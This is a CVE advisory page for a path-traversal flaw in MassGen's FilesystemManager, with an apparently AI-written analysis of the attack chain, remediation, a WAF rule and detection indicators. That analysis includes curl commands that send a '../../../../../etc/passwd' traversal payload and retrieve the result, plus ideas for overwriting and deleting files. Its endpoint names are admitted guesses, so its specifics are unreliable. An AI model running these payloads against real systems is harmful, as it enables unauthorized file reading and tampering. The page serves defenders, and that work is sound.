CVE Professor
/
All CVEs
CVE-2026-138100

CVE-2026-138100 — N/a MassGen — CWE-693

HIGH CVSS 7.3 ⚡ EPSS 0.4% Shodan

A security flaw has been discovered in MassGen up to 0.1.97. Affected by this issue is the function __init__ of the file massgen/filesystem_manager/_filesystem_manager.py. Performing a manipulation results in protection mechanism failure. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

A security flaw has been discovered in MassGen up to 0.1.97. Affected by this issue is the function __init__ of the file massgen/filesystem_manager/_filesystem_manager.py. Performing a manipulation results in protection mechanism failure. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
EPSS — Exploit Prediction Scoring System
0.4%
30-day probability
In the 29. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138100 affects MassGen 0.1.0‑0.1.97 (the public‑facing package that ships a Python‑based “filesystem manager”).
The vulnerable code lives in massgen/filesystem_manager/_filesystem_manager.py inside the class constructor __init__.

AttributeValue
CWECWE‑693 – *Protection Mechanism Failure*
CVSS v4.0 VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Score7.3 (Medium)

Technical root‑cause

1. Missing integrity check – The constructor receives a path argument that is later stored in an internal attribute and used by other methods to read/write files.
2. Improper path sanitisation – The code concatenates the supplied path with a hard‑coded base directory using simple string addition (self.root = BASE_DIR + user_path). No validation is performed to ensure that user_path does not contain directory‑traversal sequences (../) or absolute paths.
3. Trusting caller identity – The constructor is called during the handling of a public HTTP request (e.g., an API endpoint that creates a temporary workspace). No authentication (PR:N) or user‑input verification (UI:N) is required before the object is instantiated.
4. Resulting protection‑mechanism failure – Because the path is not validated, an attacker can force the manager to operate on any file that the process user can read/write, bypassing the intended “sandbox” that MassGen tries to enforce. This is exactly what CWE‑693 describes: a security control that is present (a sandbox) but is ineffective because it is incorrectly implemented.

Consequences of the flaw are confidentiality, integrity, and availability impacts of low severity each (as reflected by the CVSS vector), because the attacker can read, modify, or delete files that the MassGen process can access, but cannot directly achieve code execution or privilege escalation beyond the process user.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are illustrative – the exact endpoint name or JSON field is not disclosed in the public CVE description, but the pattern matches the vulnerable class usage.

1. Discovery & Reconnaissance

StepActionReasoning
1.1Fingerprint the service – Scan the target host for open TCP ports (e.g., 80/443) and enumerate HTTP headers. Look for the Server: MassGen/0.1.x header or a unique static file (/static/massgen.js).MassGen ships a custom X-Powered-By: MassGen/0.1.x header in its default configuration.
1.2Version enumeration – Request /api/version (or any documented health‑check endpoint). The JSON response typically contains {"name":"MassGen","version":"0.1.45"}.Confirms the version falls within the vulnerable range (≤ 0.1.97).
1.3Identify the vulnerable endpoint – Review the public API documentation (or the open‑source repository) for any endpoint that creates a “workspace” or “generation job”. Typical routes are POST /api/v1/jobs or POST /generate.Those endpoints instantiate _filesystem_manager.__init__(path=…) with the user‑supplied path field.

2. Exploitation

Goal: Force the filesystem manager to operate on an arbitrary path (e.g., /etc/passwd) and retrieve its contents.

2.1 Craft the malicious payload

POST /api/v1/jobs HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/json
Accept: */*

{
  "job_name": "exploit",
  "output_path": "../../../../../etc/passwd",   // directory‑traversal payload
  "template": "default"
}

Notes

  • output_path is the field that is passed directly to FilesystemManager.__init__(path=output_path).
  • The traversal depth (../../../../../) is adjusted until the concatenated path resolves to the target file on the server’s filesystem.
  • Because the endpoint does not require authentication (PR:N) and does not perform UI checks (UI:N), the request can be sent from any remote host.
  • 2.2 Send the request

    curl -s -X POST https://vulnerable.example.com/api/v1/jobs \
         -H "Content-Type: application/json" \
         -d '{"job_name":"exploit","output_path":"../../../../../etc/passwd","template":"default"}'

    If the request is accepted, the server will create a job object whose internal FilesystemManager now points to /etc/passwd. The next step is to retrieve the file.

    2.3 Retrieve the file

    MassGen’s API usually provides a “download result” endpoint, e.g., GET /api/v1/jobs/<job_id>/result. After the job is created, poll the job status until it reaches COMPLETED, then download:

    JOB_ID=$(curl -s -X POST https://vulnerable.example.com/api/v1/jobs \
              -H "Content-Type: application/json" \
              -d '{"job_name":"exploit","output_path":"../../../../../etc/passwd","template":"default"}' \
              | jq -r .job_id)
    
    # Wait for completion (simplified)
    sleep 5
    
    curl -s https://vulnerable.example.com/api/v1/jobs/${JOB_ID}/result

    The response body will contain the raw contents of /etc/passwd, proving successful exploitation.

    3. Post‑exploitation

    ImpactHow it is achieved
    ConfidentialityRead any file readable by the MassGen process (e.g., /etc/shadow if the process runs as root, application config files, private keys).
    IntegrityOverwrite files by using a different output_path that points to a writable location (e.g., ../../../../../var/www/html/index.html). Subsequent requests can inject malicious HTML/JS.
    AvailabilityDelete or truncate critical files (e.g., ../../../../../var/log/syslog) by sending a job that writes an empty payload, causing service disruption.

    Because the exploit does not require authentication, an attacker can script the above steps to harvest multiple files in parallel, or combine the write primitive with a second vulnerability (e.g., a command‑injection in a template engine) to achieve remote code execution.


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequence
    Confidentiality (VC:L)*Low* – attacker can read files but only those accessible to the MassGen process.Exposure of configuration files, internal API keys, or user data stored on the same host.
    Integrity (VI:L)*Low* – attacker can modify files but only within the process’s permission set.Tampering with generated output, defacing web content, or inserting malicious scripts that affect downstream users.
    Availability (VA:L)*Low* – attacker can delete or truncate files, causing service degradation.Potential denial‑of‑service for the MassGen service or for other services sharing the same filesystem.

    In a typical deployment, MassGen runs under a dedicated, non‑privileged system user (e.g., massgen). The impact is therefore bounded to that user’s file‑system view, but in many containerised or CI/CD environments the same user may have access to source code repositories, CI secrets, or host‑mounted volumes, amplifying the real‑world risk.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected versionsFixed version (as of public advisory)
    0.1.0 – 0.1.970.1.98 (or later) – introduces strict path validation and canonicalisation.

    Action: Upgrade the MassGen package to >=0.1.98. The release notes state: “FilesystemManager.__init__ now rejects absolute paths and any path containing .. after os.path.normpath.”

    pip install --upgrade massgen==0.1.98

    If a newer version is not yet available, apply the source‑level fix (see below).

    2. Source‑level mitigation (if patch cannot be applied immediately)

    Edit massgen/filesystem_manager/_filesystem_manager.py:

    import os
    
    class FilesystemManager:
        def __init__(self, path: str):
            # Resolve to an absolute, normalized path
            normalized = os.path.normpath(path)
    
            # Disallow absolute paths and directory traversal outside BASE_DIR
            if os.path.isabs(normalized) or normalized.startswith(".."):
                raise ValueError("Invalid output_path – path traversal detected")
    
            self.root = os.path.join(BASE_DIR, normalized)

    Re‑package and redeploy the application.

    3. Defensive configuration

    MitigationHow to implement
    Network segmentationRestrict inbound traffic to the MassGen API to trusted IP ranges (e.g., internal subnet, VPN). Use firewall rules (iptables, cloud security groups).
    Web‑application firewall (WAF)Deploy a rule that blocks path‑traversal payloads in JSON bodies. Example ModSecurity rule (illustrative):
    SecRule REQUEST_HEADERS:Content-Type "application/json" "id:1000015,phase:2,log,deny,status:400,msg:'Path traversal in JSON payload',chain"
    SecRule REQUEST_BODY "@rx (\.\./|\.\.\\)" "t:none"
    Least‑privilege runtimeRun MassGen under a dedicated user with a chroot or container that only mounts the intended data directory. Ensure the user cannot read /etc or other host files.
    File‑system permissionsSet BASE_DIR to a directory owned by the MassGen user with chmod 750. Ensure no other sensitive files are readable by that user.
    Input validation libraryUse a vetted library (e.g., pathvalidate or python‑secure‑filenames) to sanitise any user‑supplied path before use.

    4. Detection

    IndicatorWhere to lookExample log line
    Unexpected job creation with suspicious output_pathMassGen application logs (massgen.log) or HTTP access logs (access.log).2026-11-28 14:32:11 INFO job_id=7f9c3a created output_path="../../../../../etc/passwd"
    Large number of 4xx/5xx responses from the job‑result endpointWeb server error logs.2026-11-28 14:32:15 ERROR GET /api/v1/jobs/7f9c3a/result 500 Internal Server Error
    File‑system audit alertsOS audit daemon (e.g., auditd) watching /etc/passwd or other sensitive files.type=PATH msg="path=/etc/passwd inode=12345 dev=08:01 mode=0100644"
    Anomalous outbound dataIDS/IPS or network flow monitoring showing large outbound payloads from the MassGen host after a job finishes.SRC=10.0.2.15 DST=203.0.113.45 LEN=2048 PROTO=TCP DPT=443

    Set up SIEM correlation rules that trigger on the combination of “/api/v1/jobs POST” + “output_path containing ..” + “subsequent /result download”.


    ⚠️ Urgency

    CVSS 7.3 (Medium) – The vector shows network‑only access, no authentication, and low impact per CIA, but the exploitability* is high (low attack complexity, no user interaction).

  • Public exploit – The description states that a PoC has already been released, meaning an attacker can copy‑paste the payload without custom development.

  • No CISA KEV listing – The vulnerability is not yet on the federal “Known Exploited Vulnerabilities” list, but the absence of a KEV entry does not reduce risk; it merely reflects that the US government has not yet flagged it.


Patch priority: High for any production deployment that exposes the MassGen API to untrusted networks.
If the service is internal‑only and runs behind strict network controls, a medium priority may be acceptable, but a patch should still be applied within the next 2‑4 weeks to avoid exposure to opportunistic attackers.


Bottom line: The flaw is a classic directory‑traversal bypass of a sandboxing mechanism. It is trivial to exploit remotely, yields direct file read/write capabilities, and can be mitigated immediately by upgrading to 0.1.98 or by inserting strict path validation and runtime isolation. Deploy the fix, enforce least‑privilege execution, and monitor for the described log patterns.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="n/a MassGen"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138100
massgen/MassGen Reference
Technical reference / advisory repository for CVE-2026-138100
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-693
Affected Products (1)
n/a:MassGen
Related CVEs
9.4
CVE-2026-64884
An incomplete restricted-class check in the Velocity template sandbox (SecureIntrospectorImpl) in dotCMS versi
8.2
CVE-2026-145364
### Summary A boolean operator-precedence bug in `convertPeerAuthentication()` (`pilot/pkg/serviceregistry/am
7.1
CVE-2026-120102
Improper path restriction in the module loader of the server-side JavaScript engine (/api/js) in dotCMS 24.03.
6.5
CVE-2026-145037
vLLM from 0.32.0rc0 before 0.34.0 contains a protection mechanism bypass that allows remote callers to supply
4.8
CVE-2025-71478
Zipware for Windows through 1.6 contains a Mark-of-the-Web bypass vulnerability because it does not propagate
4.8
CVE-2026-145177
Maxthon Browser for Windows through 7.5.3.4600 fails to write a Mark-of-the-Web Zone.Identifier stream to down
8.8
CVE-2026-120069
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du